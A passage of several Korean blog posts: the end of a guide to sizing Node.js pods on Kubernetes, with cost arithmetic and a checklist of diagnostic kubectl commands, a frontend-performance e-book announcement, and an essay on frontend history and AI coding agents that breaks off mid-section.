이제 비용을 겹쳐 보자. 60개 파드에 1GiB씩이면 메모리 예약은 60GiB다. 스펙을 4GiB로 올려 상쇄하려면 파드를 15개(15×4=60GiB)까지 줄여야 하는데, 위의 바닥이 약 50이라 15는 애초에 불가능하다. 줄일 수 있는 건 기껏해야 그 바닥 근처까지고, 그 아래로는 피크에 이벤트 루프가 포화돼 지연이 무너진다. 결국 **memory-bound 클러스터에서 fat 파드는 어떤 조합으로도 lean 파드보다 비싸다.** 스펙업이 개수 감소로 상쇄된다는 셈은, CPU 천장이 개수를 붙잡고 있는 워크로드에서는 성립하지 않는다.

이게 서비스마다 갈리는 지점이다. 파드당 CPU를 실제로 많이 써서 개수를 줄일 여지가 있는 워크로드라면 fat 파드가 정당할 수 있다. 하지만 요청당 CPU가 가벼운 SSR/BFF는 개수가 CPU 바닥에 눌려 있어, 스펙업이 순수한 비용 증가로만 남는다.

### 부풀린 semi-space가 노드 청구서가 되는 계산

숫자로 감을 잡자. 순전히 예시용 산수이고, 함대 규모와 "메모리가 binding"이라는 가정은 측정이 아니라 고른 값이다.

서두의 그 플래그를 함대에 복사했다고 하자. `--max-semi-space-size=256`은 이 글의 실측에서 프로세스당 peak RSS를 기본 대비 약 390MB 더 쓰게 만들었다(201MB → 593MB, 델타 392MB. 대부분이 New Space 버퍼 몫이다). 이걸 **100개 프로세스**에 뿌리면 약 **39GB**가 순수 예약으로 사라진다. 메모리가 binding 차원이라면, 39GB는 대략 **r7i.2xlarge(8vCPU/64GiB) 한 대의 60%**다. 온디맨드로 월 약 \$390, Spot(중간에 회수될 수 있는 대신 크게 할인된 EC2)이면 약 \$160(2026년 기준, 확인 필요)짜리 인스턴스다. **플래그 한 줄이 함대에 곱해져 메모리 최적화 노드 절반 이상, 월 수백 달러의 상시 지출**이 되는데, 그 돈으로 얻는 것은 아무것도 없다.

마지막으로 두 가지. **Fargate에서는 경제학이 뒤집힌다.** Fargate는 파드 하나가 노드 하나라 bin-packing이 없고, **파드의 request를 그대로 과금**한다. 게다가 요청에 256MB 오버헤드를 더한 뒤 정해진 구성으로 **올림**한다(AWS 예시: 1vCPU+8GB 요청이 2vCPU+9GB로 올림되어 vCPU 비용이 두 배). 그래서 Fargate에서는 과예약이 즉각적·연속적·파드별로 물리고, 앞에서 본 packing(한 파드에 코어 여러 개)이 비로소 값을 한다. 반대로 **EC2 기반 EKS에서는 정직한 request + Karpenter consolidation + Spot(최대 90% 할인, 무상태 SSR/BFF에 적합) + Savings Plan(사용량 약정 할인) 베이스라인**이 비용상으로도 가장 깔끔하다. 여기에 **KEDA의 scale-to-zero**(트래픽이 없으면 파드를 0개까지 줄이는 것. 순수 HPA는 0으로 못 내린다)와 Karpenter의 빈 노드 제거를 얹으면, 새벽에 노는 프론트엔드 트래픽의 유휴 함대 비용이 사라진다.

> 한 문장으로: **request는 사용량이 아니라 청구서다.** 정직한 request는 더 싼 인스턴스 패밀리에 더 촘촘히 packing되고, 부풀린 힙은 함대 규모로 곱해져 노드 청구서가 된다.

## 내일 바로 돌려볼 수 있는 점검 목록

글이 길었으니, 우리 서비스에 바로 적용할 수 있는 점검만 추려 둔다. 각 항목은 명령 한 줄과 "이렇게 나오면 손볼 여지가 있다"는 기준으로 구성했다. `deploy/my-app`은 각자 서비스 이름으로 바꿔 읽으면 된다.

**1. 지금 뜬 파드의 `NODE_OPTIONS`부터 확인한다.**

```bash
kubectl exec deploy/my-app -- printenv NODE_OPTIONS
```

값이 있는데 그 출처와 근거를 아무도 설명하지 못한다면, 어딘가에서 검증 없이 복사돼 온 값일 가능성이 있다. 특히 `--max-semi-space-size`가 크게 잡혀 있다면 New Space 버퍼(약 2배)를 파드 메모리 limit과 대조해 본다.

**2. V8이 컨테이너를 어떻게 인식했는지 본다.**

```bash
kubectl exec deploy/my-app -- node -p "require('v8').getHeapStatistics().heap_size_limit / 1048576"
```

이 값(MiB)이 컨테이너 메모리 limit보다 크다면, V8은 쓸 수 있다고 믿는 힙이 실제보다 크다는 뜻이고 OOMKill이 예약된 상태에 가깝다. 논힙 몫까지 생각하면 limit보다 충분히 작아야 안전하다.

**3. 조용한 OOMKill 이력을 찾는다.**

```bash
kubectl get pods -o jsonpath='{range .items[*]}{.metadata.name}{"\t"}{.status.containerStatuses[0].restartCount}{"\t"}{.status.containerStatuses[0].lastState.terminated.exitCode}{"\n"}{end}'
```

exit code 137이 보이면 OOMKill이다. 재시작 카운트는 0인데 파드 안에서 pm2를 쓰고 있다면, 워커 OOMKill이 pm2 뒤에 숨어 있지 않은지 의심해 볼 만하다.

**4. PID 1이 무엇인지 본다.**

```bash
kubectl exec deploy/my-app -- ps -o pid,comm -p 1
```

`sh`나 `npm`이면 SIGTERM이 앱에 닿지 않고 있을 가능성이 높다. Dockerfile의 CMD를 exec 형식(JSON 배열)으로 바꾸거나 `tini`를 앞세운다. `node`라면 `process.on('SIGTERM')` 핸들러가 실제로 있는지도 함께 확인한다.

**5. CPU 스로틀 비율을 잰다.** (Prometheus가 있다면)

```text
rate(container_cpu_cfs_throttled_periods_total[5m])
  / rate(container_cpu_cfs_periods_total[5m])
```

5%를 넘으면 CPU limit이 지연에 영향을 주고 있을 수 있다. limit을 빼거나 넉넉히 올리는 선택지를 검토한다.

**6. HPA가 무엇으로 스케일하는지 확인한다.**

```bash
kubectl get hpa -o yaml | grep -B2 -A6 "metrics:"
```

Node 서비스인데 memory 기반이라면 스케일이 제대로 동작하지 않을 가능성이 높다(V8은 RSS를 잘 반납하지 않는다). CPU나 RPS 기반으로 바꾸는 것을 검토한다.

**7. cluster/pm2 워커 수를 확인한다.**

`-i max`(pm2)나 `os.availableParallelism()` 기반 fork가 있는지 코드와 매니페스트를 확인한다. 워커 수가 파드 CPU limit보다 크면, 큰 노드에서 워커가 폭증해 스로틀로 이어질 수 있다. 워커 수는 CPU limit에 상수로 고정한다.

**8. 종료 처리 설정을 본다.**

```bash
kubectl get deploy my-app -o yaml | grep -A6 "lifecycle:"
```

`preStop`의 sleep 없이 `server.close()`만 있다면 롤아웃 때 5xx가 섞일 수 있다(설정 조합별 실패 계수는 [삶과 죽음 편](/2026/08/k8s-for-frontend-4)의 계단 표에 실측으로 있다). `preStop sleep + 드레인 시간 < terminationGracePeriodSeconds`가 성립하는지도 함께 확인한다.

## 복사 대신 측정

한 줄의 플래그가 메모리를 세 배로 만드는 데에 트릭은 없었다. 런타임에 원래 있던 동작들이 설정값을 정직하게 따라갔을 뿐이고, 문제는 그 동작을 모른 채 값만 옮겨 적는 복사에 있었다. 글에서 확인한 것들을 풀어놓으면 이렇게 남는다.

- **`request`는 예약, `limit`은 상한이다.** 둘 다 실사용량이 아니다. request는 배치와 스케일의 기준선이고, limit 초과는 CPU면 **스로틀**, 메모리면 **OOMKill**로 비대칭이다.
- **`--max-semi-space-size`는 데이터가 아니라 GC 버퍼를 키운다.** New Space는 반공간 2개라 설정값의 **약 2배**까지 커밋되고, live 데이터가 그대로여도 RSS를 밀어올린다. 이 버퍼는 **부하 시 lazy하게** 자란다.
- **`--max-old-space-size`는 예약이 아니라 상한**이고, 트래픽이 실제 크기를 정한다. Node 24는 컨테이너 limit을 읽어 힙을 자동으로 맞추지만, 플래그를 명시하면 그 플래그 몫의 인식이 꺼진다. 굳이 정한다면 **컨테이너 limit보다 낮게, 논힙 여유를 남겨** 잡아야 OOMKill을 피한다.
- **단일 Node 프로세스의 JS는 1코어가 천장이다.** CPU가 부족하면 컨테이너가 아니라 **프로세스/파드를 늘린다.** "약 1.25코어"는 공식 상수가 아니라 어림값이고, GC 몫은 할당의 모양에 따라 0.03코어에서 2코어 이상까지 움직인다. CPU **limit**을 꽉 조이면 CFS 스로틀이 이벤트 루프를 세운다.
- **cluster는 CPU와 함께 메모리 예약도 곱한다.** 워커 수와 `NODE_OPTIONS`는 같이 계산한다.
- **프로세스 하나 = 파드 하나(약 1코어)**가 기본이고 K8s가 유일한 슈퍼바이저다. packing은 Fargate·메시·IP 압박이 있을 때의 최적화지 기본이 아니다. pm2의 빠른 워커 재시작도 `node:cluster`의 `exit` + `fork`로 동일하게 얻을 수 있으니, pm2 대신 `node:cluster`를 CPU limit에 고정해 쓰고, PID 1과 SIGTERM 문제는 `tini`/`--init`으로 푼다.
- **트래픽 스파이크는 파드당 버퍼가 아니라 파드 수로 흡수한다.** 넉넉함은 파드 안이 아니라 오토스케일링에 둔다. 단 CPU·RPS로 스케일해야지 메모리로 스케일하면 Node에선 깨진다.
- **부하테스트에서 메모리는 부하 중 RSS가 아니라 GC 직후 Old Space로 읽는다.** 부하 중 RSS는 GC 설정과 파드 크기의 함수라 사이징 근거로 순환하고, 포화 테스트가 알려주는 건 파드의 메모리 크기가 아니라 파드 하나의 처리량 천장이다.
- **request는 청구서다.** 정직한 request가 더 싼 인스턴스 패밀리에 더 촘촘히 packing된다. 부풀린 힙은 함대 규모로 곱해져 노드 값이 된다.

한 줄로 남기면 이렇다. **복사된 "표준"은 표준이 아니다.** 표준화 자체는 옳다. 운영을 단순하게 하고 클러스터의 자원 판단을 일관되게 만든다. 다만 그 표준은 **각 서비스의 모양을 측정해 세운 것**이어야지, 한 서비스에 맞은 값을 나머지 전부에 붙여넣은 것이면 안 된다. 트래픽·할당 패턴·프로세스 모델이 다른 서비스들을 한 스펙으로 묶으면, 그건 통일이 아니라 대부분의 서비스에서 틀린 값이다. 표준이 필요하다면 워크로드 유형별로(오래 연결을 무는 실시간형, 요청이 짧게 살다 죽는 SSR 렌더형처럼) 나눠 측정한 티어가 답이다. 옆 팀의 `NODE_OPTIONS`가 궁금하면, 복사하기 전에 그 팀 서비스가 우리와 같은 모양인지부터 물어보는 것이 순서라고 생각한다.

---

Source: https://yceffort.kr/2026/07/frontend-performance-deep-dive-is-out-now.md
Title: 『프런트엔드 성능 최적화 Deep Dive』가 출간되었습니다.
Description: 🙇🏻‍♂️
Date: 2026-07-22
Tags: web-performance

![frontend-performance-deep-dive](https://wikibook.co.kr/images/cover/l/9791158396916.jpg)

세 번째 책이 나왔습니다. 이번 주제는 프런트엔드 성능 최적화입니다.

## 성능 최적화는 왜 항상 어려웠을까요

성능 최적화라고 하면 흔히 번들 사이즈를 줄이거나 `memo`를 붙이는 정도를 떠올리곤 합니다. 저 역시 그랬습니다. 하지만 실무에서 성능 문제를 마주할 때마다 느꼈던 것은, 문제의 원인이 한 곳에 있지 않다는 점이었습니다. CDN과 HTTP 프로토콜, 브라우저가 리소스를 받아 화면을 그리기까지의 렌더링 파이프라인, 자바스크립트 런타임, 그리고 프레임워크까지. 어느 한 계층만 이해해서는 "왜 느린가"라는 질문에 답하기 어려웠습니다.

이 책은 그 답답함에서 시작했습니다. 프레임워크와 라이브러리는 몇 년마다 바뀌지만, 그 아래에 있는 네트워크와 브라우저, 자바스크립트 런타임의 원리는 좀처럼 변하지 않습니다. 이번에는 그 변하지 않는 사실들을 정리해 보고 싶었습니다. 그래서 개별 최적화 팁을 나열하기보다는, 웹 성능을 계층별로 나누어 각 계층에서 무슨 일이 일어나는지, 그래서 어떤 최적화가 왜 효과가 있는지를 동작 원리 중심으로 정리했습니다.

## 이 책에서 다루는 내용

크게 네 부분으로 구성되어 있습니다.

- **네트워크와 로딩**: CDN, HTTP/2와 HTTP/3, 압축, 캐시, 리소스 우선순위, 프리로드 스캐너, 렌더링 블로킹 최적화
- **번들과 리소스**: 폴리필, 트리 셰이킹, 코드 스플리팅, 이미지·동영상·폰트·CSS 최적화
- **렌더링과 런타임**: 하이드레이션, 데이터 캐싱, 자바스크립트 실행 최적화, 메모리 관리, CLS, 애니메이션
- **프레임워크와 고급 주제**: 컴포넌트 최적화, 서드파티 스크립트 관리, 다국어 처리, 차세대 웹 표준

쓰다 보니 1,458쪽이 되었습니다. 전작들보다 두꺼워졌지만, 그만큼 성능이라는 주제가 넓고 깊다는 방증이라고 생각해 주시면 감사하겠습니다.

## 전자책으로만 출간하게 된 이유

이번 책은 종이책 없이 전자책으로만 출간되었습니다. AI 관련 도서를 제외하면 출판 시장이 많이 어려워졌고, 이 분량을 종이책으로 내기도 쉽지 않았습니다. 종이책을 기대하셨던 분들께는 죄송하다는 말씀을 드립니다.

## 감사의 말씀

이번 책은 쓰는 내내 힘들었습니다. 리더 역할을 맡으면서 코드를 직접 만지는 시간이 예전 같지 않았고, 실무에서 한발 떨어져 있는 사이 감을 잃어버린 것은 아닌지, 이런 내가 실무 경험을 이야기하는 책을 쓰는 것이 독자에게 정직한 일인지 의심이 드는 순간이 많았습니다. 어쩌면 1,458쪽까지 파고든 것은 그 의심에 대한 저 나름의 대답이었는지도 모르겠습니다.

모두의 관심이 AI로 향하는 시기라는 점도 마음을 무겁게 했습니다. AI가 최적화 코드를 대신 작성해주는 시대에, 사람이 오래 쌓아온 지식이 여전히 가치가 있을까. 저는 프레임워크는 바뀌어도 계층을 관통하는 이해는 쉽게 대체되지 않는다는 쪽에 걸었지만, 책이 나오기 전까지는 그 판단이 맞는지 확인할 길이 없어 불안하기도 했습니다.

포기하고 싶은 순간마다 정신을 붙잡을 수 있게 해준 네이버 파이낸셜 팀원들, 그리고 전유정 님께 감사드립니다.

초고를 읽고 의견을 남겨주신 베타 리더분들, 이번에도 부족한 원고를 책으로 만들어주신 위키북스 편집팀에도 감사드립니다. 남아 있는 부족함은 모두 제 몫입니다.

성능 문제 앞에서 어디서부터 손대야 할지 막막했던 분들께 이 책이 도움이 되기를 바랍니다.

- 📘 자세히 보기: [출판사 위키북스 소개 페이지](https://wikibook.co.kr/frontend-optimization/)
- 🛒 온라인 구매
  - [교보문고](https://ebook-product.kyobobook.co.kr/dig/epd/ebook/E000013260818)
  - [YES24](https://www.yes24.com/product/goods/193465996)
  - [알라딘](https://www.aladin.co.kr/shop/wproduct.aspx?ItemId=397941176)
  - [리디북스](https://ridibooks.com/books/1160000250)

---

Source: https://yceffort.kr/2026/07/frontend-past-present-after-agents.md
Title: 프론트엔드는 어디서 왔고, 에이전트 이후 어디로 가는가
Description: 층은 왜 쌓였고, 왜 서버로 돌아왔고, 에이전트 이후에도 스택이 남는 이유는 무엇인가. 그리고 스택이 이기는 것과 그 스택을 아는 사람의 가치는 왜 별개인가
Date: 2026-07-22
Tags: ai, essay, frontend, react, future-of-work

## 제자리로 돌아온 것처럼 보이지만

2026년의 가장 앞선 프론트엔드 관행을 한 줄로 요약하면 이렇다. 서버에서 HTML을 만들어 보내고, JavaScript는 꼭 필요한 만큼만 싣는다. Server Components, Astro, islands architecture. 이름은 새것이지만 모양은 2008년과 크게 다르지 않다. 18년을 돌아 비슷한 자리로 돌아온 셈이다.

그런데 자세히 보면 같은 자리가 아니다. 진자가 돌아온 바로 그 시점에, 더 근본적인 변수가 바뀌고 있기 때문이다. 코드를 쓰는 손이다. 클라이언트냐 서버냐를 두고 20년을 오간 논쟁이 마무리되어 가는 참에, 그 코드를 사람이 쓴다는 전제 자체가 흔들리기 시작했다. 그래서 이 글에서는 세 가지 질문을 순서대로 짚어 보려 한다. 그 많던 층은 왜 쌓였을까(과거). 지금 우리는 어디에 서 있을까(현재). 에이전트가 코드의 대부분을 쓰게 되면 이 스택은 어떻게 될까(미래).

## 먼저 결론

본문이 길어서, 핵심을 먼저 요약해 둔다.

- 지난 20년의 복잡성은 자의적이지 않았다. 대부분 실제로 겪던 문제 위에 쌓인 층이다. 다만 같은 20년은, 층이 하나 생길 때마다 그 아래를 몰라도 되는 세대를 함께 낳은 탈숙련화의 역사이기도 했다. 두 시선은 모순이 아니라고 생각한다.
- 에이전트가 스택을 갈아치울 것이라는 예측은 세 겹의 장벽을 넘어야 한다. 학습 데이터 관성, **검수 책임**, **트러블슈팅 정보량**이다. 흔히 첫 번째만 이야기되지만, 더 단단한 것은 뒤의 둘이다.
- 그런데 "어느 스택이 이기는가"는 생각보다 덜 중요한 질문일 수 있다. SQL은 사실상 완승했지만, 그것을 아는 사람의 직함까지 지켜 주지는 못했다. **스택의 생존과 그 스택을 아는 사람의 가치는 별개로 움직인다.**
- 그렇다면 사람은 어디로 가는가. 직함은 프로덕트 엔지니어로 흡수되고, 프론트엔드 전문성은 소수의 서식지로 응집될 가능성이 높다고 본다. 문제는 그 응집층을 다시 길러낼 사다리가 잘 보이지 않는다는 것이다.

각 항목의 근거는 본문에서 하나씩 설명한다.

## 과거: 층은 왜 쌓였나

프론트엔드의 복잡성은 오래된 농담거리다. HTML 한 장 보여주는 데 빌드 도구가 왜 다섯 개나 필요하냐는 이야기는 십 년째 유효하다. 그런데 그 층들을 하나씩 걷어 보면, 이유 없이 쌓인 층을 찾기가 어렵다.

시작은 문서였다. 2000년대 중반까지 웹 페이지는 서버가 HTML을 만들어 보내면 브라우저가 그리는 물건이었고, 무언가를 바꾸려면 페이지 전체를 다시 불러와야 했다. 이 전제를 대중 앞에서 흔든 것이 Gmail(2004)과 Google Maps(2005)였다. 페이지를 다시 불러오지 않고도 화면이 갱신되는 경험은 당시로서는 낯선 것이었고, 이 방식에 Ajax라는 이름이 붙으면서(2005) 웹을 문서가 아니라 앱으로 만들려는 흐름이 시작됐다.

문제는 그 앱을 만들 도구가 마땅치 않았다는 점이다. 브라우저마다 DOM API가 조금씩 달랐고, 특히 IE6라는 거대한 예외가 있었다. 개발자들은 브라우저 호환성 표를 옆에 두고 분기문을 쌓았다. jQuery(2006)가 이 파편화를 하나의 API로 덮으면서 사실상의 표준이 됐다. 첫 번째 층이다.

jQuery로 만드는 앱이 커지자 다음 문제가 드러났다. DOM을 직접 조작하는 방식에서는 상태가 어디서 어떻게 바뀌는지 추적하기 어려웠고, 데이터와 화면이 어긋나는 버그가 코드 크기에 비례해 늘었다. Backbone과 AngularJS(2010)가 구조로 이 문제를 잡으려 시도했고, React(2013)는 다른 답을 냈다. UI를 상태의 함수로 선언하고, DOM 갱신은 라이브러리에 맡기는 방식이다. HTML을 JavaScript 안에 쓰는 JSX는 공개 당시 조롱에 가까운 반응을 받았지만, 결과적으로는 이 선언적 모델이 경쟁에서 자리를 잡았다. 두 번째 층이다.

언어 쪽에도 문제가 쌓이고 있었다. 모듈 시스템이 없는 언어로 수십만 줄짜리 앱을 짓게 된 것이다. CommonJS와 AMD가 난립하다가 ES2015가 모듈과 새 문법을 표준화했는데, 브라우저가 그것을 따라오기까지는 시차가 있었다. 그 시차를 메운 것이 Babel(트랜스파일)과 webpack(번들링)이고, 이때부터 프론트엔드에 빌드 단계가 상수로 자리 잡았다. 빌드 도구 다섯 개라는 농담의 기원, 세 번째 층이다.

층은 층을 낳았다. JavaScript로 만든 빌드 도구들은 코드베이스가 커지는 속도를 따라가지 못했고, Go와 Rust로 다시 쓴 도구들(esbuild, SWC)과 그 위의 Vite가 그 문제를 덮었다. 네 번째 층이다. 클라이언트에 모든 것을 실어 나르던 SPA는 번들이 수 MB로 불어나면서 저사양 기기와 느린 네트워크에서 한계를 드러냈고, 서버 귀환(Next.js의 SSR과 SSG, React Server Components, Astro의 islands)이 그 문제를 덮었다. 다섯 번째 층이자, 서두에서 말한 원점 회귀다.

매 층이 앞 층이 남긴 문제에 대한 반응이었다. 나는 이 흐름의 한복판에서 12년을 보냈는데, 각 층이 등장할 때마다 그 층이 해결하려던 문제가 실재했다는 것만은 분명히 기억한다.

그런데 같은 역사를 반대편에서 읽을 수도 있다. 층이 하나 쌓일 때마다, 그 아래를 몰라도 되는 세대가 함께 태어났다. jQuery 세대는 브라우저 호환성 표를 외웠지만 그다음 세대는 그럴 필요가 없었고, 프레임워크 세대는 HTML의 의미론이나 HTTP 캐시, 접근성을 깊이 알지 못해도 화면을 만들 수 있게 됐다. 진입 장벽이 내려간 만큼 산출물의 중앙값도 함께 내려갔다는 지적이 나오는 이유이고, 이 10년을 잃어버린 10년이라고 부르는 시선이 있는 이유이기도 하다.

두 독해는 모순처럼 보이지만, 실은 같은 사실의 앞면과 뒷면이라고 생각한다. 층은 필요해서 생겼고, 생긴 뒤에는 그 아래를 보이지 않게 만들었다. 추상화의 본성이 원래 그렇다. 문제를 덮어서 보호하는 동시에, 덮인 것을 잊게 만든다. 이 이중성은 미래를 이야기할 때 한 번 더 등장한다. (이 층들을 하나씩 따라 내려가며 변호하는 글로는 David Poblador의 [The Descent](https://davidpoblador.com/deep-dives/what-happened-to-the-frontend/)가, 같은 시기를 잃어버린 10년으로 고발하는 글로는 Mauro Bieg의 [해당 글](https://mastrojs.github.io/blog/2026-05-23-is-AI-causing-a-repeat-of-frontends-lost-decade/)이 있다.)

## 현재: 회귀, 그리고 작성자 교체

서두에서 말했듯 진자는 서버로 돌아왔다. 여기까지만 보면 역사가 순환한다는 이야기로 끝난다. 그런데 돌아온 바로 그 시점에 코드를 쓰는 손이 바뀌고 있다. [이전 글에서 인용했듯](https://yceffort.kr/2026/06/learning-what-ai-cant-do) Microsoft도 Google도 새 코드의 30% 안팎을 AI가 쓴다고 말한다. 집계 방식은 회사마다 흐릿하지만 방향은 분명해 보인다.

이것이 왜 스택의 문제가 되는가 하면, 지난 20년의 층이 대부분 **사람의** 문제 위에 쌓였기 때문이다. JSX는 사람이 마크업과 로직을 한눈에 보기 위한 문법이고, 컴포넌트 경계는 사람의 인지 단위이고, hooks의 규칙(최상위에서만 호출, 조건문 금지)은 사람이 실수하지 않도록 만든 가드레일이다. 린트도, 타입도, 프레임워크의 관례도 대부분 사람의 한계를 향해 설계됐다. 작성자가 사람이 아니게 되면 자연스럽게 질문이 하나 생긴다. 이 축적은 자산일까, 비용일까.

여기서부터가 미래에 대한 이야기다.

## 미래 1: 해체 시나리오

반론은 가장 강한 형태를 상대하는 것이 공정하니, 해체 쪽 논거를 최대한 강하게 정리해 본다.

사람의 인지 한계에 맞춘 추상화는, 인지 한계가 없는 작성자에게는 비용만 남는다. 코드를 쓰는 것도 읽는 것도 에이전트라면, 벤더가 사람의 DX 대신 에이전트 친화적인 타깃(더 결정적이고, 더 검증하기 쉽고, 더 적은 토큰으로 표현되는 무언가)을 새로 설계해서 밀지 않을 이유가 없다. 실제로 모델 벤더에게는 그렇게 할 유인이 충분하다. 자기 모델이 가장 잘 다루는 타깃이 업계 표준이 되는 것만큼 단단한 해자를 찾기는 어렵다.

여기에 대한 표준 반론은 학습 데이터 관성이다. 세상의 프론트엔드 코드 대부분이 React와 그 생태계로 쓰여 있고 모델은 그 데이터로 학습됐으니, 에이전트는 계속 그 스택을 만들어낼 것이라는 논리다. 일리는 있지만 생각보다 튼튼하지 않다. 관성은 복리로 쌓이지만 외생 충격에 흔들린다. 벤더가 새 타깃을 만들어 자기 모델에 집중적으로 학습시키고, 합성 데이터로 초기 부족분을 메우고, 자기 에이전트 제품의 기본값으로 밀면, 관성은 몇 년 안에 뒤집힐 수도 있다.

여기까지는 충분히 있을 법한 이야기다. 다만 한 가지 짚고 싶은 부분이 있다. 이 시나리오는 인과의 마지막 고리를 생략하고 있다.

## 미래 2: 밀어도, 사람이 받지 않는다

인과 사슬을 끝까지 따라가 보면, 마지막 고리는 모델이 아니라 채택이다. 그리고 채택은 사람이 한다. 에이전트가 코드를 다 쓰는 단계에서도 배포 버튼을 누르는 것은 사람이고, 장애가 나면 새벽에 불려 나오는 것도 사람이다. 그 사람은 최소한의 검증이라도 해야 하는 자리에 있다. 그런데 검증은 읽을 수 있는 대상에만 가능하다. 낯선 스택으로 작성된 코드는 검수가 어려운 블랙박스가 되기 쉽고, 그런 코드를 책임지고 승인하기는 어렵다. 그래서 결국 자신이 읽을 수 있는 익숙한 스택을 선택하게 될 가능성이 높다.

이 병목이 기술의 문제가 아니라는 점이 중요하다고 생각한다. [코드 읽기를 다룬 글](https://yceffort.kr/2026/06/do-you-need-to-read-code)에서 책임은 머릿속 이해의 문제가 아니라 계약의 문제라고 썼는데, 같은 구조가 여기서도 작동한다. 검수 책임은 조직과 법에 묶여 있어서 모델 성능만으로는 풀리지 않는다. 에이전트의 자율성이 아무리 올라가도, 책임이 사람에게 남아 있는 한 사람이 읽을 수 있어야 한다는 요구는 사라지지 않는다.

다만 범위는 좁혀 두는 것이 정확하다. 이 논거는 엄밀히는 "익숙함"이 아니라 "검수 가능성"에 기대고 있고, 이 둘이 갈라지는 영역이 있다. 검수를 사실상 하지 않는 코드다. 일회용 프로토타입, 마케팅 페이지, 만들고 버리는 MVP. 이런 영역에서는 결과만 동작하면 스택이 무엇이든 크게 상관이 없어진다. 그래서 정확한 명제는 "검수 책임이 존재하는 영역에서는 익숙한 스택이 유리하다" 정도가 될 것이다. 매출과 유지보수가 걸린 코드의 비중이 크니 전체 결과는 고착 쪽으로 기울겠지만, 구멍은 구멍이다. 그 글 말미에 "이해가 필요 없는 코드는 실존하고, 그 영역은 좁지 않으며 커지고 있다"고 양보했던 바로 그 영역이기도 하다.

해체 시나리오는 이 구멍으로 파고들 수 있다. 검수 없는 영역에서 에이전트 최적화 타깃이 발판을 얻고, 거기서 성숙한 다음 검수 있는 영역으로 올라온다는 경로다. 충분히 그려 볼 수 있는 그림이다.

## 미래 3: 검수를 포기한 코드도 깨진다

그런데 그 구멍에서도 기존 스택이 유리하다고 생각한다. 트러블슈팅에 필요한 정보가 이미 쌓여 있기 때문이다.

만들고 버리는 프로토타입도 데모 직전에 동작하지 않으면 고쳐야 한다. 그 순간 필요한 것은 검수 능력이 아니라 붙잡을 수 있는 밧줄이다. 에이전트는 아직 종종 막히고, 막히면 결국 사람에게 넘어온다. Joel Spolsky가 [새는 추상화의 법칙](https://www.joelonsoftware.com/2002/11/11/the-law-of-leaky-abstractions/)이라고 부른 것의 실전판이다. 추상화가 새는 바로 그 지점에서, 스택별로 축적된 정보의 양이 결정적으로 작용한다. React와 그 생태계에는 십수 년치 에러 메시지와 GitHub 이슈와 Stack Overflow 답변이 쌓여 있다. 낯선 스택은 사람이 검수를 포기했더라도, 깨졌을 때 붙잡을 것이 마땅치 않다.

한 가지 더 중요한 점은, 에이전트 자신도 그 밧줄로 학습됐다는 것이다. 에이전트가 자기 오류를 수정하는 능력조차, 학습 데이터에 해당 스택의 디버깅 사례가 많을수록 좋아진다. 즉 학습 데이터 관성은 생성 단계에서 한 번, 자기수정 단계에서 또 한 번, 두 번 작동한다. 흔히 말하는 "모델이 React를 잘 짠다"는 절반의 이야기이고, 나머지 절반은 "모델이 React를 잘 고친다"이다. 새로운 타깃이 전자를 합성 데이터로 흉내 낼 수는 있어도, 후자는 실전에서 깨져 본 기록의 축적이라 당장은 흉내 내기가 어렵다.

이 논거가 검수 논거보다 우회하기 어려운 이유는 단순하다. 검수는 상황에 따라 건너뛸 수 있지만, 동작하지 않는 코드는 건너뛸 수 없다.

정리하면 고착을 지지하는 힘은 세 겹이다. 학습 데이터 관성(생성), 검수 책임(사전), 트러블슈팅 정보량(사후). 첫째는 외생 충격에 흔들릴 수 있는 조건부 논거이고, 둘째는 영역에 따라 갈리는 조건부 논거인데, 셋째가 그 조건들의 예외 영역까지 덮는다. 여기까지가 고착 쪽의 논증이다.

## 이 논거들의 유통기한

여기서 끝내면 한쪽 이야기만 한 셈이 된다. 이 논거들이 어디서 약해지는지도 함께 적어 두는 편이 정직할 것이다.

첫째, 검수 책임 논거는 "코드를 읽는 것"까지 보장하지는 않는다. 컴파일러라는 전례가 있다. 사람들은 한때 컴파일러가 만든 어셈블리를 읽었지만, 신뢰가 쌓이자 검수는 사라진 것이 아니라 위층으로 이동했다. 이제는 소스를 검증하고 어셈블리는 보지 않는다. 검수 책임이 실제로 요구하는 것은 "사람이 신뢰할 수 있는 검증 인터페이스"이지 코드 리딩 그 자체가 아니다. 지금은 그 인터페이스가 코드이지만, E2E 테스트와 비주얼 회귀와 에이전트 QA가 충분히 촘촘해지면 "행동을 검증하고 코드는 읽지 않는" 균형점도 가능하다. [코드 읽기를 다룬 글](https://yceffort.kr/2026/06/do-you-need-to-read-code)에서 그린 검증 레이어가 이 이동의 설계도에 가깝다. 프론트엔드는 정답을 명세하기 어려운 영역이라(시각, UX) 전환이 늦게 오겠지만, 원리적으로 막혀 있지는 않다.

이 "늦게"가 막연한 단서가 아니라는 것을 보여주는 사례가 CSS다. 에이전트를 써 본 사람들이 공통으로 겪는 일인데, 로직은 곧잘 짜는 모델이 레이아웃과 스타일에서는 유난히 헤맨다. 이유를 뜯어 보면 우연이 아니다. 우선 CSS의 정답은 텍스트가 아니라 렌더링된 화면에 있다. 스크린샷을 찍어 피드백을 주는 워크플로우가 생기긴 했지만, 지금의 시각 판정은 해상도가 낮다. 명백히 깨진 레이아웃은 잡아도, 몇 픽셀의 어긋남이나 겹침의 미묘한 옳고 그름까지는 잘 판정하지 못한다. 다음으로 규칙 하나가 전역으로 작용한다. `position: relative` 한 줄이 스태킹 컨텍스트를 바꿔 화면 전체의 겹침이 달라지는 언어라서, [코드 조각만 보고 결과를 예측하기 어렵다는 분석](https://dev.to/asafaeirad/why-css-is-so-hard-for-generative-ais-to-understand-17fo)이 나온다. 마지막으로, 내가 가장 근본적이라고 생각하는 이유인데, CSS는 틀려도 에러를 내지 않는다. 컴파일이 실패하지도 예외가 던져지지도 않고, 그저 어딘가 어긋나 보일 뿐이다. 에이전트의 자기수정은 실패 신호를 받아야 도는데, CSS는 그 신호를 주지 않는다. 앞에서 "동작하지 않는 코드는 건너뛸 수 없다"고 썼는데, CSS는 정확히 그 명제의 사각지대다. 틀린 채로도 동작한다. 트러블슈팅 정보가 인터넷에 많이 쌓여 있다는 점도 CSS에서는 힘이 약하다. 질문과 답은 방대하지만 해법이 각자의 문맥에 묶여 있어서, 다른 화면으로 잘 옮겨지지 않는다.

